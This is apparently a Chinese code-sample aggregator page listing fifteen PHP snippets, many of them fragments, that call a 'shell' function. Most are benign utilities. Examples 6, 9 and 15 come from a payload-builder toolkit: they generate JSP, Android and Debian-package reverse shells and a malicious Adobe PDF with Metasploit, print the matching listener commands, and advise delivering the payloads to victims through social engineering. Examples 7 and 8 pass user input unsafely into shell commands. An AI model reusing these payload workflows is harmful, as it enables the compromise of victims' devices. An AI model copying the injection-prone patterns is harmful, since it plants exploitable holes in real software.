本文整理汇总了PHP中shell函数的典型用法代码示例。如果您正苦于以下问题:PHP shell函数的具体用法?PHP shell怎么用?PHP shell使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了shell函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: ps
function ps($fields)
{
$out = shell(sprintf('ps -eo %s 2>&1', escapeshellarg($fields)));
$ret = array();
foreach (array_slice(preg_split('/\\R/', $out), 1, -1) as $line) {
$ret[] = $line;
}
return $ret;
}
示例2: create_tables
function create_tables()
{
if (file_exists(DB)) {
$cmd = 'rm -f ' . DB;
shell($cmd);
}
$db = new SQLite3(DB);
$db->exec("BEGIN DEFERRED;");
query('CREATE TABLE comics (id INTEGER PRIMARY KEY AUTOINCREMENT, title TEXT, pages INTEGER, zip_path TEXT, cover TEXT);', $db);
query('CREATE TABLE images (id INTEGER PRIMARY KEY AUTOINCREMENT, comics_id INTEGER, page INTEGER, filepath TEXT);', $db);
$db->exec("COMMIT;");
return true;
}
示例3: trash_run
function trash_run($args)
{
define('ID_COLUMN', getOption('id-col', $args));
$input = getOption('input-file', $args);
$jobDate = shell('date +"%F %R"');
if ($args['undelete']) {
define('UNDELETE', TRUE);
$apiTag = createJobTag($jobDate, 'UNDelete CiviCRM Contacts');
} else {
define('UNDELETE', FALSE);
$apiTag = createJobTag($jobDate, 'Delete CiviCRM Contacts');
}
define('TAG_ID', $apiTag->id);
$main = 'processContacts';
withFile($input, $main);
}
示例4: ps_query
function ps_query()
{
$out = shell('ps -eo pid,ppid,pgid,comm,args');
$ret = array();
foreach (array_slice(preg_split('/\\R/', $out), 1, -1) as $line) {
preg_match('/(\\d+)\\s+(\\d+)\\s+(\\d+)\\s+(\\S+)\\s+(.*)/', $line, $m);
$ret[] = array('pid' => intval($m[1]), 'ppid' => intval($m[2]), 'pgid' => intval($m[3]), 'comm' => $m[4], 'args' => $m[5]);
}
usort($ret, function ($a, $b) {
$cmp = $a['ppid'] - $b['ppid'];
if ($cmp == 0) {
$cmp = $a['pid'] - $b['pid'];
}
return $cmp;
});
return $ret;
}
示例5: shell
#
function shell($arr)
{
$n = count($arr);
$h = 1;
while ($h < $n / 3) {
$h = $h * 3 + 1;
}
while ($h >= 1) {
for ($i = 1; $i < $n; $i++) {
for ($j = $i; $j >= $h; $j = $j - $h) {
if ($arr[$j] < $arr[$j - $h]) {
swap($arr, $j, $j - $h);
} else {
break;
}
}
}
$h = floor($h / 3);
}
return $arr;
}
function swap(&$arr, $i, $j)
{
$tmp = $arr[$i];
$arr[$i] = $arr[$j];
$arr[$j] = $tmp;
}
$arr = [1, 43, 54, 62, 21, 66, 32, 78, 36, 76, 39];
print_r(shell($arr));
示例6: exec
exec("sudo zip exploits/{$pkg}.zip exploits/{$pkg}.jsp");
echo '<p><b>Payload Configuration</b></p>';
echo '****************************************************************************';
echo '<p><b>LHOST</b> -->' . $ip . '</p>';
echo '<p><b>LPORT</b> -->' . $port . '</p>';
echo '<p><b>PACKAGE NAME</b> -->' . $pkg . '.jsp</p>';
echo '<p><b>PAYLOAD</b> -->java/jsp_shell_reverse_tcp</p>';
echo '<p><b>AVAILABLE FOR DOWNLOAD @</b> --><a href=exploits/' . $pkg . '.zip>click here</a>';
echo '<p><b>AFFECTED SYSTEMS ARE</b> -->Websites(jsp)</p>';
echo '<p>*****************************************************************************</p>';
echo '<b>Note:</b> Upload this shell on website supporting JSP and start meterpreter listener ';
echo '<p><b>To start listener copy and paste this code in to your terminal:</b></p>';
echo '<code style="float:top;backface-visibility: visible;background-color:#BBB7B7;color:#5A7359"><b>sudo msfcli exploit/multi/handler PAYLOAD=java/jsp_shell_reverse_tcp LHOST=' . $ip . ' LPORT=' . $port . ' E </b></code>';
break;
case c16:
shell("echo '[Wait] While i generate your {$pkg}.apk payload..........'");
exec("sudo msfpayload android/meterpreter/reverse_tcp LHOST={$ip} LPORT={$port} R >exploits/{$pkg}.apk");
exec("sudo chmod +x exploits/{$pkg}.apk");
echo '<p><b>Payload Configuration</b></p>';
echo '****************************************************************************';
echo '<p><b>LHOST</b> -->' . $ip . '</p>';
echo '<p><b>LPORT</b> -->' . $port . '</p>';
echo '<p><b>PACKAGE NAME</b> -->' . $pkg . '.apk</p>';
echo '<p><b>PAYLOAD</b> -->android/meterpreter/reverse_tcp</p>';
echo '<p><b>AVAILABLE FOR DOWNLOAD @</b> --><a href=exploits/' . $pkg . '.apk>Click here</a>';
echo '<p><b>AFFECTED SYSTEMS ARE</b> -->Android OS</p>';
echo '<p>*****************************************************************************</p>';
echo '<b>Note:</b>You can send this package to victim by any social engineering techniques ';
echo '<p><b>To start listener copy and paste this code in to your terminal:</b></p>';
echo '<code style="float:top;backface-visibility: visible;background-color:#BBB7B7;color:#5A7359"><b>sudo msfcli multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=' . $ip . ' LPORT=' . $port . ' E </b></code>';
break;
示例7: shell
} else {
echo '<p>Emplacement de téléportation introuvable</p>';
}
} else {
echo '<p>Joueur introuvable</p>';
}
} else {
echo "Erreur";
}
break;
case "motd":
echo "\n\t\t\t\t<p class=\"title\">Modifier le MOTD</p>\n\t\t\t\t<p><form method=\"post\" action=\"index.php?module=shell&action=motd_v\">\n\t\t\t\t\tNouveau message du jour : <input type=\"text\" name=\"motd\"><br />\n\t\t\t\t\t<p>Attention : Eviter les accents</p>\n\t\t\t\t\t<center><input type=\"submit\" name=\"ok\" value=\"Envoyer\"></center>\n\t\t\t\t</form></p>";
break;
case "motd_v":
$motd = $_POST['motd'];
$send = shell('server set motd ' . $motd);
if ($send) {
echo "<p>Le message du jour à été redéfini en " . $motd . ".</p>";
} else {
echo "<p>Erreur lors de l'envoie</p>";
}
break;
case "ticket":
echo "\n\t\t\t\t<p class=\"title\">Voir un ticket</p>\n\t\t\t\t<p>Remplir un des deux champs</p>\n\t\t\t\t<p><form method=\"post\" action=\"index.php?module=shell&action=ticket_v\">\n\t\t\t\t\tNom ou ID du personnage : <input type=\"text\" name=\"char\"><br />\n\t\t\t\t\tID du ticket : <input type=\"text\" name=\"ticket\">\n\t\t\t\t\t<center><input type=\"submit\" name=\"ok\" value=\"Voir\"></center>\n\t\t\t\t</form></p>";
break;
case "ticket_v":
if (isset($_POST['ok'])) {
require "../kernel/config.php";
mysql_connect($characters[1]['host'], $characters[1]['user'], $characters[1]['password']) or die(mysql_error());
$char = mysql_real_escape_string($_POST['char']);
$ticket = mysql_real_escape_string($_POST['ticket']);
示例8: die
die("Bad, very bad, this characters are not accepted: ; | & %");
}
$str .= $value;
}
$url = trim($url);
//remove space from start and end of url
if (substr(strtolower($url), 0, 7) == "http://") {
$url = substr($url, 7);
}
// remove http:// if included
if (substr(strtolower($url), 0, 8) == "https://") {
$url = substr($url, 8);
}
$url_parts = explode("/", $url);
$url = $url_parts[0];
shell("sudo nmap {$str} {$url}");
echo '</div>
<footer>
<div align="left">
<h3>Thank You!</h3>
</div>
</footer>
</article><!-- end of styles article -->
<h4 class="alert_success">Scan Succeeded </h4>
';
echo "<script type='text/javascript'>\$.msg({ fadeIn : 500,fadeOut : 500, bgPath : 'dlgs/', content : 'Nmap Done ! See result in result section'});</script>";
}
}
?>
示例9: exec
$ip = $_POST['ip'];
$port = $_POST['port'];
$pkg = $_POST['pkg'];
$c = $_POST['c'];
if ($ip == '' || $port == '') {
echo "<script type='text/javascript'>\$.msg({fadeIn : 500,fadeOut : 500,bgPath : 'dlgs/', content : 'You Have not entered datas correctly...'});</script>";
} else {
echo "<script type='text/javascript'>\$.msg({ fadeIn : 500,fadeOut : 500, bgPath : 'dlgs/', content : 'Generating Payloads, please wait... ! Please refer result section after this message'});</script>";
require_once 'loading.php';
exec("sudo rm -r exploits/ && sudo mkdir exploits && sudo chmod 777 -R exploits/");
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $pkg)) {
echo "File is valid, and was successfully uploaded.\n" . "<br/>";
shell("echo '[Wait] While I generate your payload......'");
exec("sudo chmod 777 {$pkg}");
exec("sudo msfcli exploit/windows/fileformat/adobe_pdf_embedded_exe LHOST={$ip} LPORT={$port} INFILENAME=/var/www/lab/{$pkg} FILENAME=veer.pdf PAYLOAD={$c} E\n");
shell("sudo mv /root/.msf4/local/veer.pdf exploits/{$pkg}");
exec("sudo rm {$pkg} && sudo chmod 755 exploits/{$pkg}");
exec("sudo zip exploits/{$pkg}.zip exploits/{$pkg} ");
echo '<p><b>Payload Configuration</b></p>';
echo '****************************************************************************';
echo '<p><b>LHOST</b> -->' . $ip . '</p>';
echo '<p><b>LPORT</b> -->' . $port . '</p>';
echo '<p><b>PACKAGE NAME</b> -->' . $pkg . '</p>';
echo '<p><b>PAYLOAD</b> -->' . $c . '</p>';
echo '<p><b>AVAILABLE FOR DOWNLOAD zip format @</b> --><a href=exploits/' . $pkg . '.zip>Click here</a>';
echo '<p><b>AFFECTED SYSTEMS ARE</b> --> Adobe Reader v8.x, v9.x (Windows OS)</p>';
echo '<p>*****************************************************************************</p>';
echo '<b>Note:</b>You can send this package to victim by any social engineering techniques ';
echo '<p><b>To start listener copy and paste this code in to your terminal:</b></p>';
echo '<code style="float:top;backface-visibility: visible;background-color:#BBB7B7;color:#5A7359"><b>sudo msfcli exploit/multi/handler PAYLOAD=' . $c . ' LHOST=' . $ip . ' LPORT=' . $port . ' E <b></code>';
} else {
示例10: isset
<?php
require __DIR__ . '/../share/app.php';
$f = isset($_GET['f']) ? strval($_GET['f']) : __DIR__;
if (isset($_GET['q']) && trim($_GET['q']) != '') {
$out = shell(sprintf('locate %s', escapeshellarg(trim($_GET['q']))));
$fields = array(new TableFieldIcon(), new TableFieldLink('Name', 'path', function (FileModel $file) {
return url(array('q' => false, 'f' => $file->path()));
}), new TableField('Type', 'type'), new TableFieldFormat('Size', 'size', 'format_bytes'), new TableField('MIME', 'mime'), new TableField('Permissions', 'perms'));
$rows = array();
foreach (explode("\n", $out) as $row) {
if (!empty($row)) {
$rows[] = new TableRow(new FileModel($row), $fields);
}
}
$middle = render_str('foobar/table', compact('fields', 'rows'));
} else {
$file = new FileModel($f);
if (is_dir($f)) {
$fields = array(new TableFieldIcon(), new TableFieldLink('Name', 'basename', function (FileModel $file) {
return url(array('q' => false, 'f' => $file->path()));
}), new TableField('Type', 'type'), new TableFieldFormat('Size', 'size', 'format_bytes'), new TableField('MIME', 'mime'), new TableField('Owner', 'owner'), new TableField('Group', 'group'), new TableField('Permissions', 'perms'));
$rows = $file->rows();
$middle = render_str('foobar/table', array('fields' => $fields, 'rows' => new TableRowGenerator($rows, $fields)));
} else {
switch ($file->mime()) {
case 'audio/mpeg':
if (begins($file->realpath(), $_SERVER['DOCUMENT_ROOT'])) {
$middle = render_str('foobar/audio', array('src' => replace_prefix($file->realpath(), $_SERVER['DOCUMENT_ROOT'], '/')));
} else {
$middle = render_str('foobar/audio', array('src' => 'image.php?' . http_build_query(array('f' => $file->realpath()))));
示例11: shell
shell(" sslyze {$url}:{$port0} |sed -e '1,11d'");
}
if (isset($c5)) {
echo "<script type='text/javascript'>\$.msg({fadeIn : 500,fadeOut : 500,bgPath : 'dlgs/', content : 'Checking if {$url} uses load balancing..See details in Result section'});</script>";
echo "<p><b>Checking if {$url} uses load balancing</b></p>";
shell("lbd {$url}|sed -e '1,3d'");
}
if (isset($c6)) {
echo "<script type='text/javascript'>\$.msg({fadeIn : 500,fadeOut : 500,bgPath : 'dlgs/', content : 'Detecting firewall for {$url}..See details in Result section'});</script>";
echo "<p><b>Detecting firewall for {$url} :</b></p>";
shell("wafw00f {$url} |sed -e '1,13d'");
}
if (isset($c7)) {
echo "<script type='text/javascript'>\$.msg({fadeIn : 500,fadeOut : 500,bgPath : 'dlgs/', content : 'Detecting Application @ {$port} on {$url}..See details in Result section'});</script>";
echo "<p><b>Detecting Application at port {$port} on {$url} :</b></p>";
shell("sudo amap -A {$url} {$port}|grep 'Protocol\\|Unidentified'");
}
echo "<script type='text/javascript'>\$.msg({fadeIn : 500,fadeOut : 500,bgPath : 'dlgs/', content : 'Scanning Done for {$url}..See details in Result section'});</script>";
echo '</div>
<footer>
<div align="left">
<h3>Thank You!</h3>
</div>
</footer>
</article><!-- end of styles article -->
<h4 class="alert_success">Scan Succeeded </h4>
';
} else {
echo "<script type='text/javascript'>\$.msg({fadeIn : 500,fadeOut : 500,bgPath : 'dlgs/', content : '!!!!You have not selected any option!!!!'});</script>";
示例12: microtime
$time = microtime(true);
$f($x);
return microtime(true) - $time;
});
defun('tabulate', function ($h1, $h2, $arr) {
return key_foldr(function ($str, $row) {
list($n, $v) = $row;
$v = is_array($v) ? implode(' ', $v) : $v;
$s = format($v);
return "{$str}\n{$n} {$s}";
}, "{$h1} " . (is_array($h2) ? implode(' ', $h2) : $h2), $arr);
});
defun('shell', 'shell_exec');
defun('mem', function ($cmd) {
$time = trim(substr(`whereis time`, 6));
return intval(shell("{$time} -f '%M' {$cmd} 2>&1 1> /dev/null"));
});
defun('runphp', function ($f, $arg) {
return "./runphp '{$f}({$arg})'";
});
function papply()
{
$args = func_get_args();
$f = op(array_shift($args));
return function () use($args, $f) {
static $curried = true;
return call_user_func_array('call_user_func', array_merge($args, func_get_args()));
};
}
defun('parens', function ($x) {
return "({$x})";
示例13: spawn
var yPos = row;
$(root).find('.cell[pos=p-' + xPos1 + '-' + yPos + ']').removeClass('on').addClass(cssClass);
$(root).find('.cell[pos=p-' + xPos2 + '-' + yPos + ']').removeClass('on').addClass(cssClass);
}
}
}
$(document).ready(function() {
function spawn() {
$('.invader').each(function() { render(this, dna()); });
}
spawn();
setInterval(spawn, 1000);
});
</script>
<?php
for ($i = 0; $i < 300; $i++) {
?>
<?php
echo shell();
?>
<?php
}
?>
</body>
</html>
示例14: ts_info
function ts_info($job_id)
{
return shell(sprintf('tsp -i %s 2>&1', escapeshellarg($job_id)));
}
示例15: switch
if ($ip == '' || $port == '') {
echo "<script type='text/javascript'>\$.msg({fadeIn : 500,fadeOut : 500,bgPath : 'dlgs/', content : 'You Have not entered datas correctly...'});</script>";
} else {
echo "<script type='text/javascript'>\$.msg({ fadeIn : 500,fadeOut : 500, bgPath : 'dlgs/', content : 'Generating Payloads, please wait... ! Please refer result section after this message'});</script>";
require_once 'loading.php';
echo "<fieldset>";
switch ($p) {
case p1:
$sh = "freesweep.sh";
$pkg = "freesweep.deb";
shell("sudo sh cmd/debian/{$sh} {$c} {$ip} {$port} {$uname}");
break;
case p2:
$sh = "xbomb.sh";
$pkg = "xbomb.deb";
shell("sudo sh cmd/debian/{$sh} {$c} {$ip} {$port} {$uname}");
break;
}
echo '<p><b>Payload Configuration</b></p>';
echo '****************************************************************************';
echo '<p><b>LHOST</b> -->' . $ip . '</p>';
echo '<p><b>LPORT</b> -->' . $port . '</p>';
echo '<p><b>PACKAGE NAME</b> -->' . $pkg . '</p>';
echo '<p><b>PAYLOAD</b> -->' . $c . '</p>';
echo '<p><b>AVAILABLE FOR DOWNLOAD @</b> --><a href=exploits/' . $pkg . '>Click here</a>';
echo '<p><b>AFFECTED SYSTEMS ARE</b> -->Debian Based Linux Distributions</p>';
echo '<p>*****************************************************************************</p>';
echo '<b>Note:</b>You can send this package to victim by any social engineering techniques ';
echo '<p><b>To start listener copy and paste this code in to your terminal:</b></p>';
echo '<code style="float:top;backface-visibility: visible;background-color:#BBB7B7;color:#5A7359"><b> sudo msfcli exploit/multi/handler PAYLOAD=' . $c . ' LHOST=' . $ip . ' LPORT=' . $port . ' E </b></code>';
$host = $_SERVER['SERVER_ADDR'];